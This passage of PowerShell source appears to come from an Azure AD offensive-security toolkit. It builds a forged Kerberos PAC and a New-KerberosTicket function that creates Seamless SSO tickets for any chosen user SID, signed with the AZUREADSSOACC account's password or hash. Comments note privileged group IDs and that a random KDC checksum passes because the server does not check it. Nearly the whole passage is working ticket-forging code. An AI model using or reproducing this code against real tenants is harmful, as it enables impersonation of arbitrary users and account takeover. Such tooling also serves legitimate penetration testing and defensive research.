@(0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x7F) # PwdMustChangeTime
# UserName
[System.BitConverter]::GetBytes([int16]($bUserName.Length)) # Length
[System.BitConverter]::GetBytes([int16]($bUserName.Length)) # Max length
@(0x04, 0x00, 0x02, 0x00) # Pointer
# UserDisplayName
[System.BitConverter]::GetBytes([int16]($bUserDisplayName.Length)) # Length
[System.BitConverter]::GetBytes([int16]($bUserDisplayName.Length)) # Max Length
@(0x08, 0x00, 0x02, 0x00) # Pointer
# LogonScript
@(0x00, 0x00) # Length
@(0x00, 0x00) # Max Length
@(0x0C, 0x00, 0x02, 0x00) # Pointer
# ProfilePath
@(0x00, 0x00) # Length
@(0x00, 0x00) # Max Length
@(0x10, 0x00, 0x02, 0x00) # Pointer
# HomeDirectory
@(0x00, 0x00) # Length
@(0x00, 0x00) # Max Length
@(0x14, 0x00, 0x02, 0x00) # Pointer
# HomeDrive
@(0x00, 0x00) # Length
@(0x00, 0x00) # Max Length
@(0x18, 0x00, 0x02, 0x00) # Pointer
@(0x05, 0x00) # LogonCount -- just add something..
@(0x00, 0x00) # BadPasswordCount
$bUserSid # UserSid
[System.BitConverter]::GetBytes([int32](513)) # GroupSid:
# https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/active-directory-security-groups
# 0x0200 = 512 = Domain Admins
# 0x0201 = 513 = Domain Users
# 0x0202 = 514 = Domain Guests
# 0x0203 = 515 = Domain Computers
# 0x0204 = 516 = Domain Controllers
# 0x0207 = 519 = Enterprise Admins
# 0x020f = 527 = Key Admins
# 0x0220 = 544 = Local Admins
@(0x02, 0x00, 0x00, 0x00) # GroupCount
@(0x1C, 0x00, 0x02, 0x00) # GroupPointer
# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-pac/69e86ccc-85e3-41b9-b514-7d969cd0ed73
@(0x20, 0x00, 0x00, 0x00) # UserFlags
# 0x 20 = ExtraSid is populated and contains additional SIDs
# 0x200 = ResourceGroupIds field is populated.
# UserSessionKey - used only for NTLM
@(0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00)
# ServerName
[System.BitConverter]::GetBytes([int16]($bServerName.Length)) # Length
[System.BitConverter]::GetBytes([int16]($bServerName.Length+2)) # MaxLength -- Why + 2 for the size??
@(0x20, 0x00, 0x02, 0x00) # Pointer
# DomainName
[System.BitConverter]::GetBytes([int16]($bDomainName.Length)) # Length
[System.BitConverter]::GetBytes([int16]($bDomainName.Length+2)) # MaxLength
@(0x24, 0x00, 0x02, 0x00) # Pointer
@(0x28, 0x00, 0x02, 0x00) # DomainIDPointer
@(0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00) # Reserved = 8 x 0x00
[System.BitConverter]::GetBytes([int32]$UserAccountControl) # UserAccountControl
@(0x00, 0x00, 0x00, 0x00) # SubAuthStatus
@(0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00) # LastSuccessfullLogon
@(0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00) # LastFailedLogon
@(0x00, 0x00, 0x00, 0x00) # Failed Logon Count
@(0x00, 0x00, 0x00, 0x00) # Reserved
@(0x01, 0x00, 0x00, 0x00) # ExtraSidCount
@(0x2C, 0x00, 0x02, 0x00) # ExtraSidPointer
@(0x00, 0x00, 0x00, 0x00) # ResourceDomainIdPointer
@(0x00, 0x00, 0x00, 0x00) # ResourceGroupCount
@(0x00, 0x00, 0x00, 0x00) # ResourceGroupPointer
# STRINGS
# UserName
[System.BitConverter]::GetBytes([int32]($bUserName.Length)/2) # Total = maxlength / 2
@(0x00, 0x00, 0x00, 0x00) # Unused
[System.BitConverter]::GetBytes([int32]($bUserName.Length)/2) # used = maxlength / 2
$bUserName
if($bUserName.Length/2 % 2 -gt 0){@(0x00, 0x00)} # Must be even sized
# UserDisplayName
[System.BitConverter]::GetBytes([int32]($bUserDisplayName.Length/2)) # Total
@(0x00, 0x00, 0x00, 0x00) # Unused
[System.BitConverter]::GetBytes([int32]($bUserDisplayName.Length/2)) # Used
if($bUserDisplayName.Length -gt 0){$bUserDisplayName}
if($bUserDisplayName.Length/2 % 2 -gt 0){@(0x00, 0x00)} # Must be even sized
@(0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00) # LogonScript
@(0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00) # ProfilePath
@(0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00) # HomeDirectory
@(0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00) # HomeDrive
# GroupSids
@(0x02, 0x00, 0x00, 0x00) # Count
@(0x03, 0x02, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00)
@(0x0F, 0x02, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00)
# ServerName
[System.BitConverter]::GetBytes([int32]($bServerName.Length)/2+1) # Total
@(0x00, 0x00, 0x00, 0x00) # Unused
[System.BitConverter]::GetBytes([int32]($bServerName.Length)/2) # Length
$bServerName
if($bServerName.Length/2 % 2 -gt 0){@(0x00, 0x00)} # Must be even sized
# DomainName
[System.BitConverter]::GetBytes([int32]($bDomainName.Length)/2+1) # Total
@(0x00, 0x00, 0x00, 0x00)
[System.BitConverter]::GetBytes([int32]($bDomainName.Length)/2) # Length
$bDomainName
if($bDomainName.Length/2 % 2 -gt 0){@(0x00, 0x00)} # Must be even sized
# DomainSid
@(0x04, 0x00, 0x00, 0x00) # Count
$bDomainSid # SidBytes
# ExtraSid
@(0x01, 0x00, 0x00, 0x00) # Count
@(0x30, 0x00, 0x02, 0x00) # Pointer
@(0x07, 0x00, 0x00, 0x00) # Attributes
@(0x01, 0x00, 0x00, 0x00) # SidSize (count)
@(0x01, 0x01, 0x00, 0x00, # Sid
0x00, 0x00, 0x00, 0x12,
0x01, 0x00, 0x00, 0x00)
)
# Set the correct size: Total size - the header
$size = $LOGON_INFORMATION.Count - 16 #
[Array]::Copy([bitconverter]::GetBytes([Int32]$size),0, $LOGON_INFORMATION, 8, 4)
$CLIENT_NAME_TICKET_INFO=@(
[System.BitConverter]::GetBytes($DeviceId.ToFileTime()) # ClientId - MUST be equal to authTime
[System.BitConverter]::GetBytes([int16]($bUserName.Length)) # Name Length
$bUserName
)
$UPN_DOMAIN_INFO=@(
[System.BitConverter]::GetBytes([int16]($bUserPrincipalName.Length)) # UpnLength
[System.BitConverter]::GetBytes([int16]0x10) # UpnOffset
[System.BitConverter]::GetBytes([int16]($bDomainDNSName.Length)) # DnsDomainNameLength
[System.BitConverter]::GetBytes([int16]($bUserPrincipalName.Length+0x10)) # DnsDomainNameOffset
@(0x00, 0x00, 0x00, 0x00) # Flags
@(0x00, 0x00, 0x00, 0x00) # Some align thing?
$bUserPrincipalName # UPN
$bDomainDNSName # DNS Domain
)
$SERVER_CHECKSUM=@(
@(0x76, 0xFF, 0xFF, 0xFF) # Type = KERB_CHECKSUM_HMAC_MD5
@(0x00, 0x00, 0x00, 0x00, # Server checksum - MUST be 0x00 to calculate checksum
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00)
)
$PRIVILEGE_SERVER_CHECKSUM=@(
@(0x10, 0x00, 0x00, 0x00) # Type = HMAC_SHA1_96_AES256
@(0x00, 0x00, 0x00, 0x00, # KDC checksum - MUST be 0x00 to calculate (server) checksum
0x00, 0x00, 0x00, 0x00, # Otherwise this is not needed nor used
0x00, 0x00, 0x00, 0x00)
)
# Construct the header
$Offset = 88
$HEADER = @()
# Align the blocks
$logon_info_size = Align-Size -Size $LOGON_INFORMATION.Length -Mask 8
$client_info_size = Align-Size -Size $CLIENT_NAME_TICKET_INFO.Length -Mask 8
$upn_info_size = Align-Size -Size $UPN_DOMAIN_INFO.Length -Mask 8
$server_check_size = Align-Size -Size $SERVER_CHECKSUM.Length -Mask 8
$privilege_check_size = Align-Size -Size $PRIVILEGE_SERVER_CHECKSUM.Length -Mask 8
$HEADER += @(0x05, 0x00, 0x00, 0x00) # Pac count = 5
$HEADER += @(0x00, 0x00, 0x00, 0x00) # Version = 0
$HEADER += @(0x01, 0x00, 0x00, 0x00) # LOGON INFO
$HEADER += [System.BitConverter]::GetBytes([int32]$logon_info_size) # Size
$HEADER += [System.BitConverter]::GetBytes([int64]$Offset) # Offset
$Offset+=$logon_info_size
$HEADER += @(0x0A, 0x00, 0x00, 0x00) # CLIENT_NAME_TICKET_INFO
$HEADER += [System.BitConverter]::GetBytes([int32]$client_info_size) # Size
$HEADER += [System.BitConverter]::GetBytes([int64]$Offset) # Offset
$Offset+=$client_info_size
$HEADER += @(0x0C, 0x00, 0x00, 0x00) # UPN_DOMAIN_INFO
$HEADER += [System.BitConverter]::GetBytes([int32]$upn_info_size) # Size
$HEADER += [System.BitConverter]::GetBytes([int64]$Offset) # Offset
$Offset+=$upn_info_size
$HEADER += @(0x06, 0x00, 0x00, 0x00) # SERVER_CHECKSUM
$HEADER += [System.BitConverter]::GetBytes([int32]$server_check_size-4) # Size
$HEADER += [System.BitConverter]::GetBytes([int64]$Offset) # Offset
$Offset+=$server_check_size
$HEADER += @(0x07, 0x00, 0x00, 0x00) # PRIVILEGE_SERVER_CHECKSUM
$HEADER += [System.BitConverter]::GetBytes([int32]$privilege_check_size) # Size
$HEADER += [System.BitConverter]::GetBytes([int64]$Offset) # Offset
# Construct the PAC
$PAC=@()
$PAC += $HEADER
$PAC += $LOGON_INFORMATION
$PAC += Get-AlignBytes -Size $LOGON_INFORMATION.Length -Mask 8
$PAC += $CLIENT_NAME_TICKET_INFO
$PAC += Get-AlignBytes -Size $CLIENT_NAME_TICKET_INFO.Length -Mask 8
$PAC += $UPN_DOMAIN_INFO
$PAC += Get-AlignBytes -Size $UPN_DOMAIN_INFO.Length -Mask 8
$PAC += $SERVER_CHECKSUM # KERB_CHECKSUM_HMAC_MD5
$PAC += Get-AlignBytes -Size $SERVER_CHECKSUM.Length -Mask 8
$PAC += $PRIVILEGE_SERVER_CHECKSUM #HMAC_SHA1_96_AES256
$PAC += Get-AlignBytes -Size $PRIVILEGE_SERVER_CHECKSUM.Length -Mask 8
# Convert the password to MD4 hash
if([string]::IsNullOrEmpty($Hash))
{
$checksum_key = Get-MD4 -String $Password -AsByteArray
}
else
{
$checksum_key = Convert-HexToByteArray -HexString $Hash
}
# Checksums
$serverChecksum = Get-ServerSignature -Key $checksum_key -Data $PAC
$KDCChecksum = Get-RandomBytes -Bytes 12 # Not checked by the server, so random checksum will do
# Create the signature block - Only server block gets validated in the server
$signatureBlock = @(
@(0x76, 0xFF, 0xFF, 0xFF) # Type = KERB_CHECKSUM_HMAC_MD5
$serverChecksum
(Get-AlignBytes -Size $SERVER_CHECKSUM.Length -Mask 8)
@(0x10, 0x00, 0x00, 0x00) # Type = HMAC_SHA1_96_AES256
$KDCChecksum
(Get-AlignBytes -Size $PRIVILEGE_SERVER_CHECKSUM.Length -Mask 8)
)
# Add signature block to the end of the PAC
$PAC=$PAC[0..($PAC.Length - $signatureBlock.Length-1)] + $signatureBlock
# Return
return [byte[]]$PAC
}
}
# Aug 26th 2019
# Generates a kerberos token to be used with Azure AD Desktop SSO (aka Seamless SSO)
Function New-KerberosTicket
{
<#
.SYNOPSIS
Generates a kerberos token to be used with Azure AD Desktop SSO
.DESCRIPTION
Generates a kerberos token to be used with Azure AD Desktop SSO, also known as Seamless SSO.
Azure AD does only care about user's sid, so no other information needs to be given.
.Parameter Sid
User's sid as a byte array
.Parameter ADUserPrincipalName
User's principal name. Used to find user from Active Directory to get the SID
.Parameter AADUserPrincipalName
User's principal name. Used to find user from Azure Active Directory to get the SID
.Parameter AccessToken
Access Token of the user accessing Azure Active Directory to find the given user to get the SID
.Parameter Password
Password of the AZUREADSSOACC computer account
.Parameter Hash
MD4 hash of the AZUREADSSOACC computer account
.Example
PS C:\>Get-AADIntKerberosTicket -Password "MyPassword" -Sid $sid
YIIHIAYGKwYBBQUCoIIHFDCCBxC..(truncated)..qJ9OYopBjdCAzi8gY8dIFy8+g==
.Example
PS C:\>Get-AADIntKerberosTicket -Hash @(0,4,234) -Sid $sid
YIIHIAYGKwYBBQUCoIIHFDCCBxC..(truncated)..qJ9OYopBjdCAzi8gY8dIFy8+g==
.Example
PS C:\>Get-AADIntKerberosTicket -Password "MyPassword" -SidString "S-1-5-21-854568531-3289094026-2628502219-1111"
YIIHIAYGKwYBBQUCoIIHFDCCBxC..(truncated)..qJ9OYopBjdCAzi8gY8dIFy8+g==
.Example
PS C:\>Get-AADIntKerberosTicket -Password "MyPassword" -ADUserPricipalName "[email protected]"
WARNING: SID not given, trying to find user from the Active Directory
YIIHIAYGKwYBBQUCoIIHFDCCBxC..(truncated)..qJ9OYopBjdCAzi8gY8dIFy8+g==
PS C:\>Get-AADIntKerberosTicket -Password "MyPassword" -ADUserPricipalName "[email protected]"
WARNING: SID not given, trying to find user from the Azure Active Directory.
WARNING: This may take some time, so it would be better to save the AAD objects to
WARNING: a variable using Get-AADIntSyncObjects and parse SID manually.
YIIHIAYGKwYBBQUCoIIHFDCCBxC..(truncated)..qJ9OYopBjdCAzi8gY8dIFy8+g==
#>
[cmdletbinding()]
Param(
[Parameter(ParameterSetName='Sid',Mandatory=$True)]
[Byte[]]$Sid,
[Parameter(ParameterSetName='SidString',Mandatory=$True)]
[String]$SidString,
[Parameter(ParameterSetName='ADupn',Mandatory=$True)]
[String]$ADUserPrincipalName,
[Parameter(ParameterSetName='AADupn',Mandatory=$True)]
[String]$AADUserPrincipalName,
[Parameter(ParameterSetName='AADupn',Mandatory=$True)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
[String]$Password,
[Parameter(Mandatory=$False)]
[String]$Hash,
[Parameter(Mandatory=$False)]
[byte[]]$SessionKey=(New-Guid).ToByteArray(),
[Parameter(Mandatory=$False)]
[String]$UserName= "UserName",
[Parameter(Mandatory=$False)]
[String]$UserDisplayName= "DisplayName",
[Parameter(Mandatory=$False)]
[String]$UserPrincipalName= "[email protected]",
[Parameter(Mandatory=$False)]
[String]$ServerName= "DC1.company.com",
[Parameter(Mandatory=$False)]
[String]$DomainName= "COMPANY",
[Parameter(Mandatory=$False)]
[String]$Realm= "COMPANY.COM",
[Parameter(Mandatory=$False)]
[String]$ServiceTarget = "HTTP/autologon.microsoftazuread-sso.com",
[Parameter(Mandatory=$False)]
[ValidateSet('RC4','AES')]
[String]$Crypto="RC4",
[Parameter(Mandatory=$False)]
[String]$Salt,
[Parameter(Mandatory=$False)]
[Int]$SequenceNumber=([System.Random]::new()).Next()
)
Process
{
# Hash or password must be given!
if([string]::IsNullOrEmpty($Password) -and $Hash -eq $null)
{
Throw "Password or hash must be given!"
}
if(![string]::IsNullOrEmpty($Salt))
{
$AESSalt = [text.encoding]::UTF8.getBytes($Salt)
}
if($Crypto -eq "AES" -and $AESSalt -eq $null)
{
Throw "Salt needed for AES encrypted Kerberos ticket!"
}
# Got ADUserPrincipalName so we need to try to find SID from AD
if(![String]::IsNullOrEmpty($ADUserPrincipalName))
{
Write-Verbose "SID not given, trying to find user from the Active Directory"
try
{
$User=Get-Sids -UserPrincipalName $ADUserPrincipalName
if($user -eq $null)
{
return
}
$sidObject = [System.Security.Principal.SecurityIdentifier]$user.Sid
$Sid = New-Object Byte[] $sidObject.BinaryLength
$sidObject.GetBinaryForm($Sid,0)
Write-Verbose "$([byte[]]$Sid | Format-Hex)"
}
catch
{
Write-Error "Couldn't find the user: $($_.Exception)"
return
}
}
# Got AADUserPrincipalName so we need to try to find SID from Azure AD
elseif(![String]::IsNullOrEmpty($AADUserPrincipalName))
{
Write-Verbose "SID not given, trying to find user from the Azure Active Directory."
try
{
$User=Get-Sids -AccessToken $AccessToken -UserPrincipalName $AADUserPrincipalName
if($user -eq $null)
{
return
}
$sidObject = [System.Security.Principal.SecurityIdentifier]$user.Sid
$Sid = New-Object Byte[] $sidObject.BinaryLength
$sidObject.GetBinaryForm($Sid,0)
Write-Verbose "$([byte[]]$Sid | Format-Hex)"
}
catch
{
Write-Error "Couldn't find the user: $($_.Exception)"
return
}
}
# Got SidString so try to convert it
elseif(![String]::IsNullOrEmpty($SidString))
{
try
{
Write-Verbose "Got SidString: $SidString"
$sidObject = [System.Security.Principal.SecurityIdentifier]$SidString
$Sid = New-Object Byte[] $sidObject.BinaryLength
$sidObject.GetBinaryForm($Sid,0)
Write-Verbose (Convert-ByteArrayToHex -Bytes $Sid)
}
catch
{
Write-Error "Couldn't convert `"$SidString`" to SID: $($_.Exception)"
return
}
}
# KRB_AP_REQ
# Set the times
$authTime = Get-Date -Millisecond 0
$authTime.AddSeconds(-43) | Out-Null # Authentication time should be (a little) in the past
$startTime = $authTime #.AddSeconds(7)
$endTime = $authTime.AddHours(10)
$renewTime = $authTime.AddDays(7)
$cTime = Get-Date
$machineId = Get-RandomBytes -Bytes 32
$kerbLocal1 = Get-RandomBytes -Bytes 16
$kerbLocal2 = Get-RandomBytes -Bytes 16
# The ticket
$ticket=Add-DERTag -Tag 0x63 -Data @(
Add-DERSequence -Data @(
Add-DERTag -Tag 0xA0 -Data @(Add-DERTag -Tag 0x03 -Data @(0x00, 0x40, 0xA1, 0x00, 0x00)) #Flags 100 0000 1010 0001 old
# Encryption key 100 0000 0010 0001 new
Add-DERTag -Tag 0xA1 -Data @(
Add-DERSequence -Data @(
if($Crypto -eq "RC4")
{
Add-DERTag -Tag 0xA0 -Data @(Add-DERInteger -Data @(0x17)) # rc4-hmac
}
elseif($Crypto -eq "AES")
{
Add-DERTag -Tag 0xA0 -Data @(Add-DERInteger -Data @(0x12)) # aes256-cts-hmac-sha1-96
}
Add-DERTag -Tag 0xA1 -Data @(
Add-DERTag -Tag 0x04 -Data $SessionKey # Session key
)
)
)
# Realm
Add-DERTag -Tag 0xA2 -Data @(Add-DERUtf8String($Realm))
Add-DERTag -Tag 0xA3 -Data @( # CName
Add-DERSequence -Data @(
Add-DERTag -Tag 0xA0 -Data @(Add-DERInteger -Data @(0x01)) # NT_PRINCIPAL
Add-DERTag -Tag 0xA1 -Data @(
Add-DERSequence -Data @(Add-DERUtf8String($UserName))
)
)
)
Add-DERTag -Tag 0xA4 -Data @(
Add-DERSequence -Data @(
Add-DERTag -Tag 0xA0 -data @(Add-DERInteger -Data @(0x01))
Add-DERTag -Tag 0xA1 -Data @(0x04,0x00) # Empty octect string: CAddr
)
)
Add-DERTag -Tag 0xA5 -Data @(Add-DERDate -Date $authTime) # Generalized time: AuthTime
Add-DERTag -Tag 0xA6 -Data @(Add-DERDate -Date $startTime) # Generalized time: StartTime
Add-DERTag -Tag 0xA7 -Data @(Add-DERDate -Date $endTime) # Generalized time: EndTime
Add-DERTag -Tag 0xA8 -Data @(Add-DERDate -Date $renewTime) # Generalized time: RenewTill
Add-DERTag -Tag 0xAA -Data @(
Add-DERSequence -Data @(
Add-DERSequence -Data @(
Add-DERTag -Tag 0xA0 -Data @(Add-DERInteger -Data @(0x01)) # ADIfRelevant
Add-DERTag -Tag 0xA1 -Data @(
Add-DERTag -Tag 0x04 -Data @(
Add-DERSequence -Data @(
Add-DERSequence -Data @(
Add-DERTag -Tag 0xA0 -Data @(Add-DERInteger -Data @(0x00, 0x80)) # PAC type = AdWin2kPac
Add-DERTag -Tag 0xA1 -Data @(
Add-DERTag -Tag 0x04 -Data @(
# Generate PAC
[byte[]](New-Pac -UserName $UserName -UserDisplayName $UserDisplayName -UserPrincipalName $UserPrincipalName -ServerName $ServerName -DomainName $DomainName -DomainDNSName $Realm -Sid $Sid -Password $Password -Hash $Hash -AuthTime $authTime -SequenceNumber $SequenceNumber))
)
)
)
)
)
)
Add-DERSequence -Data @(
Add-DERTag -Tag 0xA0 -Data @(Add-DERInteger -Data @(0x01))
Add-DERTag -Tag 0xA1 -Data @(
Add-DERTag -Tag 0x04 -Data @(
Add-DERSequence -Data @(
Add-DERSequence -Data @(
Add-DERTag -Tag 0xA0 -Data @(Add-DERInteger -Data @(0x00, 0x8D)) # KERB_AUTH_DATA_TOKEN_RESTRICTIONS
Add-DERTag -Tag 0xA1 -Data @(
Add-DERTag -Tag 0x04 -Data @( # Octet string
Add-DERSequence -Data @(
Add-DERSequence -Data @(
Add-DERTag -Tag 0xA0 -Data @(Add-DERInteger -Data @(0x00)) # Restrictiontype, must be 0x00
Add-DERTag -Tag 0xA1 -Data @(
Add-DERTag -Tag 0x04 -Data @(
# Flags
@(0x00, 0x00, 0x00, 0x00) # Full token
#@(0x01, 0x00, 0x00, 0x00) # UAC restricted token
# Integritylevel
# @(0x00, 0x00, 0x00, 0x00) # Untrusted
@(0x00, 0x10, 0x00, 0x00) # Low
# @(0x00, 0x20, 0x00, 0x00) # Medium
# @(0x00, 0x30, 0x00, 0x00) # High
# @(0x00, 0x40, 0x00, 0x00) # System
# @(0x00, 0x50, 0x00, 0x00) # Protected processes
# Machine Id
$machineId
)
)
)
)
)
)
)
Add-DERSequence -Data @(
Add-DERTag -Tag 0xA0 -Data @(Add-DERInteger -Data @(0x00, 0x8E))
# KerbLocal
Add-DERTag -Tag 0xA1 -Data @(Add-DERTag -Tag 0x04 -Data $kerbLocal1)
)
)
)
)
)
)
)
)
)
$encryptionKey = New-KerberosKey -Password $Password -Hash $Hash -Crypto $Crypto
$encryptedTicket = Encrypt-Kerberos -Data $ticket -Type Ticket -Salt $AESSalt -Crypto $Crypto -Key $encryptionKey
$authenticator=Add-DERTag -Tag 0x62 -Data @(
Add-DERSequence -Data @(
Add-DERTag -Tag 0xA0 -Data @(Add-DERInteger -Data @(0x05))
Add-DERTag -Tag 0xA1 -Data @(Add-DERUtf8String -Text $Realm -Tag 0x1B)
Add-DERTag -Tag 0xA2 -Data @(
Add-DERSequence -Data @(
Add-DERTag -Tag 0xA0 -Data @(Add-DERInteger -Data @(0x01))
Add-DERTag -Tag 0xa1 -Data @(
Add-DERSequence -Data @(
Add-DERUtf8String -Text $UserName -Tag 0x1B
)
)
)
)
Add-DERTag -Tag 0xA3 -Data @(
# Authenticator checksum
# https://tools.ietf.org/html/rfc4121#page-6
Add-DERSequence -Data @(
Add-DERTag -Tag 0xA0 -Data @(Add-DERInteger -Data @(0x00, 0x80, 0x03)) # Checksum type 32771 = KRBv5
# Checksum https://tools.ietf.org/html/rfc4121#section-4.1.1
Add-DERTag -Tag 0xA1 -Data @(
Add-DERTag -Tag 0x04 -Data @(
# Length = 0x10 = 16
@(0x10, 0x00, 0x00, 0x00)
# Binding information
@(0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00)
# Flags
# https://tools.ietf.org/html/rfc2744
# GSS_C_DELEG_FLAG 0x01 1
# GSS_C_MUTUAL_FLAG 0x02 2
# GSS_C_REPLAY_FLAG 0x04 4
# GSS_C_SEQUENCE_FLAG 0x08 8
# GSS_C_CONF_FLAG 0x10 16
# GSS_C_INTEG_FLAG 0x20 32
# GSS_C_ANON_FLAG 0x40 64
# GSS_C_PROT_READY_FLAG 0x80 128
# GSS_C_TRANS_FLAG 0x100 256
# GSS_C_DCE_STYLE 0x1000 4096
# GSS_C_IDENTIFY_FLAG 0x2000 8192
# GSS_C_EXTENDED_ERROR_FLAG 0x4000 16384
# GSS_C_DELEG_POLICY_FLAG 0x8000 32768
@(0x3E, 0x20, 0x00, 0x00)
)
)
)
)
Add-DERTag -Tag 0xA4 -Data @(Add-DERInteger -Data (0x01)) # Cusec = milliseconds part of authTime -- for replay detection, so can be anything
Add-DERTag -Tag 0xA5 -Data @(Add-DERDate -Date $cTime) # CTime
Add-DERTag -Tag 0xA6 -Data @(
Add-DERSequence -Data @(
Add-DERTag -Tag 0xA0 -Data @(Add-DERInteger -Data @(0x17)) # Subkey - not used here to anything
Add-DERTag -Tag 0xA1 -Data @(Add-DERTag -Tag 0x04 -Data (New-Guid).ToByteArray())
)
)
Add-DERTag -Tag 0xA7 -Data @(Add-DERInteger -Data @([System.BitConverter]::GetBytes($SequenceNumber)) ) # Sequence number
Add-DERTag -Tag 0xA8 -Data @(
Add-DERSequence -Data @(
Add-DERSequence -Data @(
Add-DERTag -Tag 0xA0 -Data @(Add-DERInteger -Data @(0x01))
Add-DERTag -Tag 0xA1 -Data @(
Add-DERTag -Tag 0x04 -Data @(
Add-DERSequence -Data @(
Add-DERSequence -Data @(
Add-DERTag -Tag 0xA0 -Data @(Add-DERInteger -Data @(0x00, 0x81))
# AdETypeNegotiation
Add-DERTag -Tag 0xA1 -Data @(Add-DERTag -Tag 0x04 -Data @(
Add-DERSequence -Data @(
#Add-DERInteger -Data @(0x12) # AES256_CTS_HMAC_SHA1_96
#Add-DERInteger -Data @(0x11) # AES128_CTS_HMAC_SHA1_96
Add-DERInteger -Data @(0x17) # RC4_HMAC_NT
)
)
)
)
Add-DERSequence -Data @(
Add-DERTag -Tag 0xA0 -Data @(Add-DERInteger -Data @(0x00, 0x8D))
Add-DERTag -Tag 0xA1 -Data @(
Add-DERTag -Tag 0x04 -Data @(
Add-DERSequence -Data @(
Add-DERSequence -Data @(
Add-DERTag -Tag 0xA0 -Data @(Add-DERInteger -Data @(0x00)) #Restrictiontype = 0
# Restrictions
Add-DERTag -Tag 0xA1 -Data @(Add-DERTag -Tag 0x04 -Data @(
# Flags = Full
@(0x00, 0x00, 0x00, 0x00)
# Integritylevel = Low
@(0x00, 0x10, 0x00, 0x00)
# Machine Id
$machineId
)
)
)
)
)
)
)
Add-DERSequence -Data @(
# KerbLocal
Add-DERTag -Tag 0xA0 -Data @(Add-DERInteger -Data @(0x00, 0x8E))
Add-DERTag -Tag 0xA1 -Data @(Add-DERTag -Tag 0x04 -Data $kerbLocal2)
)
Add-DERSequence -Data @(
Add-DERTag -Tag 0xA0 -Data @(Add-DERInteger -Data @(0x00, 0x8F))
Add-DERTag -Tag 0xA1 -Data @(
Add-DERTag -Tag 0x04 -Data @(
# KerbApOptions = ChannelBindingSupported
@(0x00, 0x40, 0x00, 0x00)
)
)
)
Add-DERSequence -Data @(
Add-DERTag -Tag 0xA0 -Data @(Add-DERInteger -Data @(0x00, 0x90))
Add-DERTag -Tag 0xA1 -Data @(
# KerbServiceTarget
Add-DERUnicodeString -Text "$ServiceTarget@$Realm"
)
)
)
)
)
)
)
)
)
)
$encryptedAuthenticator = Encrypt-Kerberos -Data $authenticator -Key $SessionKey -Type Authenticator -Salt $AESSalt -Crypto $Crypto
# NegTokenInit
$kerberosTicket=Add-DERTag -Tag 0x60 -Data @(
Add-DERObjectIdentifier -ObjectIdentifier "1.3.6.1.5.5.2" # SPNEGO
Add-DERTag -Tag 0xA0 -Data @(
Add-DERSequence -Data @(
# MechTypeList
Add-DERTag -Tag 0xA0 -Data @( # MechTypeList
Add-DERSequence -Data @(
Add-DERObjectIdentifier -ObjectIdentifier "1.2.840.48018.1.2.2" # Microsoft Kerberos OID
Add-DERObjectIdentifier -ObjectIdentifier "1.2.840.113554.1.2.2" # Kerberos V5 OID
Add-DERObjectIdentifier -ObjectIdentifier "1.3.6.1.4.1.311.2.2.30" # Negoex
Add-DERObjectIdentifier -ObjectIdentifier "1.3.6.1.4.1.311.2.2.10" # NTLM
)
)
Add-DERTag -Tag 0xA2 -Data @( # MechToken
Add-DERTag -Tag 0x04 -Data @(
Add-DERTag -Tag 0x60 -Data @(# Application constructed object
Add-DERObjectIdentifier -ObjectIdentifier "1.2.840.113554.1.2.2" # Kerberos V5 OID
Add-DERBoolean -Value $False
Add-DERTag -Tag 0x6E -Data @(
Add-DERSequence -Data @(
Add-DERTag -Tag 0xA0 -Data @(Add-DERInteger -Data @(0x05))
Add-DERTag -Tag 0xA1 -Data @(Add-DERInteger -Data @(0x0e))
Add-DERTag -Tag 0xA2 -Data @(Add-DERTag -Tag 0x03 -Data @(0x00, 0x20, 0x00, 0x00, 0x00)) # KERB_VALINFO
Add-DERTag -Tag 0xA3 -Data @(
# AUTHENTICATOR
Add-DERTag -Tag 0x61 -Data @(
Add-DERSequence -Data @(
Add-DERTag -Tag 0xA0 -Data @(Add-DERInteger -Data @(0x05)) # AuthenticatorVersionNumber = 5
Add-DERTag -Tag 0xA1 -Data @(Add-DERUtf8String -Text $Realm)
Add-DERTag -Tag 0xA2 -Data @(
Add-DERSequence -Data @(
Add-DERTag -Tag 0xA0 -Data @(Add-DERInteger -Data @(0x02))
Add-DERTag -Tag 0xA1 -Data @(
Add-DERSequence -Data @(
Add-DERUtf8String -Text $ServiceTarget.Split("/")[0]
Add-DERUtf8String -Text $ServiceTarget.Split("/")[1]
)
)
)
)
Add-DERTag -Tag 0xA3 -Data @(
Add-DERSequence -Data @(
if($Crypto -eq "RC4")
{
Add-DERTag -Tag 0xA0 -Data @(Add-DERInteger -Data @(0x17)) # rc4-hmac
}
elseif($Crypto -eq "AES")
{
Add-DERTag -Tag 0xA0 -Data @(Add-DERInteger -Data @(0x12)) # aes256-cts-hmac-sha1-96
}
Add-DERTag -Tag 0xA1 -Data @(Add-DERInteger -Data @(0x05))
Add-DERTag -Tag 0xA2 -Data @(Add-DERTag -Tag 0x04 $encryptedTicket)
)
)
)
)
)
Add-DERTag -Tag 0xA4 -Data @(
Add-DERSequence -Data @(
if($Crypto -eq "RC4")
{
Add-DERTag -Tag 0xA0 -Data @(Add-DERInteger -Data @(0x17)) # rc4-hmac
}
elseif($Crypto -eq "AES")
{
